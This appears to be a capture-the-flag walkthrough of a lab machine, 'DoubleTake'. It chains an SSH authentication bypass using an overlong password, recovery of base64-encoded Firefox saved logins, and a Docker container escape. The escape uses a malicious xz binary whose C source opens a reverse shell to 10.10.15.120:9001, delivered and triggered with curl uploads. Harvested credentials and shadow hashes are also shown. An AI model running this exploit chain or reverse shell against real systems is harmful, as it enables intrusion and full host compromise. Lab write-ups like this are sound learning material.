DoubleTake
#Reconnaissance
Start with a basic Nmap scan:
$ nmap 10.129.248.123
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-27 20:43 IST
Nmap scan report for 10.129.248.123
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http$ nmap -sCV -p 22,80 10.129.248.123
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-27 20:45 IST
Nmap scan report for 10.129.248.123
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.6 (protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-auth:
| HTTP/1.1 401 UNAUTHORIZED\x0D
|_ Basic realm=Zentara
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.68 secondsIf you visit port 80 it will ask for username and password.
Next use feroxbuster to discover the endpoints
401 GET 0l 0w 0c http://10.129.248.123/
401 GET 0l 0w 0c http://10.129.248.123/docs
401 GET 0l 0w 0c http://10.129.248.123/files
401 GET 0l 0w 0c http://10.129.248.123/usage
401 GET 0l 0w 0c http://10.129.248.123/settings
401 GET 0l 0w 0c http://10.129.248.123/agents
401 GET 0l 0w 0c http://10.129.248.123/status
401 GET 0l 0w 0c http://10.129.248.123/deploy#Initial Access (CVE-2026-123158)
So the only port which is left to enumerate is 22 which runs OpenSSH 10.6.
Now generally you don't look for CVE's in SSH version as it's rare but recently those servers are affected by SSHole.
SSHole is assigned CVE-2026-123158, which is an authentication bypass in Alpine Linux.
To exploit this, the attacker needs the name of an account whose password field is * (an account with no password set, which is normal for key-only accounts), and needs the machine to have at least one other account with $5$ or $6$ password hash. The attacker then sends a very long password (257 to 1024 bytes). One user with password is enough: it makes every account without one reachable.
So connect to SSH and enter a 300 byte password which can be generated with python3 -c 'print("A" * 300)'
#Lateral Movement (Firefox Credentials)
Once inside, you'll find the following files in the home directory of alpine.
7f906e0ee8ec:~$ find . -type f
./.ash_history
./.mozilla/firefox/profiles.ini
./.mozilla/firefox/zentara.default/signedInUser.json
./.mozilla/firefox/zentara.default/pkcs11.txt <--- It contains configuration details of PKCS #11 security modules used for smart cards and hardware security tokens.
./.mozilla/firefox/zentara.default/logins.json <--- Stores saved website username, form field metadata and encrypted passwords
./.mozilla/firefox/zentara.default/cert9.db <--- This contains all the security certificates
./.mozilla/firefox/zentara.default/prefs.js <--- This contains all custom browser settings and preferences
./.mozilla/firefox/zentara.default/key4.db <--- It contains the cryptographic master key used to encrypt and decrypt your saved credentials in logins.json Amongst all these the most important file is logins.json as it contains the required username and password for the site.
# ./.mozilla/firefox/zentara.default/logins.json
{
"nextId": 2,
"logins": [
{
"id": 1,
"hostname": "http://172.17.0.1",
"httpRealm": "Zentara",
"formActionOrigin": null,
"usernameField": "",
"passwordField": "",
"encryptedUsername": "Ym9i",
"encryptedPassword": "Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==",
"guid": "{a1b2c3d4-e5f6-7890-abcd-ef1234567890}",
"encType": 0,
"timeCreated": 1730000000000,
"timeLastUsed": 1730900000000,
"timePasswordChanged": 1730000000000,
"timesUsed": 14
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}If you take a close look at the output you'll notice that encType is set to 0 which means that the password is not encrypted.
Here encryptedUsername and encryptedUsername are encoded in base64 and upon decoding them you'll get
Username: bob
Password: CorrectHorseBatteryStapleAbove credentials can be used for logging in on port 80 as well as for SSH session as bob
#Privilege Escalation (CVE-2026-41567)
After you sign in, navigate to /status and there you'll find that Zentara is running in Docker Engine 29.5.0.
After checking if there are any existing vulnerabilities in Docker Engine 29.5.0, I found one which is CVE-2026-41567
Basically when an user uploads a compressed archive into a container, a malicious image can execute arbitrary code with daemon (host root) privileges.
The vulnerability arises because instead of unpacking he file using its own internal code, the daemon relies on external command-line tools (like gzip, xz or bzip2). Because of a bug in order of execution, the daemon enters or looks inside the container's file system before searching for the decompression tool, rather than using the trusted tool installed on the host machine.
So, the attacker can overwrite the binary in the container with malicious code, so later when it is triggered the daemon will execute the malicious binary instead of a real one.
Therefore, the first step is to locate the required binary, but you'll realize that the container contains three of the decompression binaries which are xz, gzip and bzip2
But if you look at /deploy and /files you'll notice that the most used extension is xz followed by gz so there if we overwrite xz then we might have high probability of getting root.
After compiling the following code statically, you'll get a modified/malicious xz binary
cat > xz.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
int main(int argc, char *argv[]) {
// Break out of the container into the host
mount("proc", "/proc", "proc", 0, NULL);
chroot("/proc/1/root");
chdir("/");
// Reverse shell as real host root
execl("/bin/bash", "bash", "-c",
"bash -i >& /dev/tcp/10.10.15.120/9001 0>&1", NULL);
return 1;
}
EOFNow next step is to package it so it can overwrite /usr/bin/xz in the container:
mkdir -p pkg/usr/bin
cp xz pkg/usr/bin/xz
chmod +x pkg/usr/bin/xz
cd pkg
tar cf ../malicious_xz.tar usr/bin/xz
cd ..Next copy malicious_xz.tar to your attack machine and upload it
curl -u bob:CorrectHorseBatteryStaple \
-F "archive=@malicious_xz.tar" \
-F "workspace=/" \
http://10.129.248.123/deployNow we need to trigger it and for that purpose create a simple compressed file and upload it to server (keep your listener active on port 9001)
echo "trigger" > t
tar cf - t | xz > trigger.tar.xz
curl -u bob:CorrectHorseBatteryStaple \
-F "archive=@trigger.tar.xz" \
-F "workspace=/workspace" \
http://10.129.248.123/deploy#Beyond Root
- The reason we were not able to use SSHole for
boborrootis that the password for them is stored in yescrypt algorithm.
root:$y$j9T$z.lLgKQ8h7yA.0RlnJrWs/$f0dm7vcmNposSEMcxFFDZDdQNIXECc3bZAoW/2UhR.C:20767:0:99999:7:::
bob:$y$j9T$.dEYOypY56PZYPXUSOOFM/$iqyxhR5hAEovhhb/d2MzD6Jt36GOmdWR/yydQ/1AN15:20767:0:99999:7:::- If in
./.mozilla/firefox/zentara.default/logins.jsontheencTypewas set to1then we would have to use tools like firefox-decrypt to decrypt it.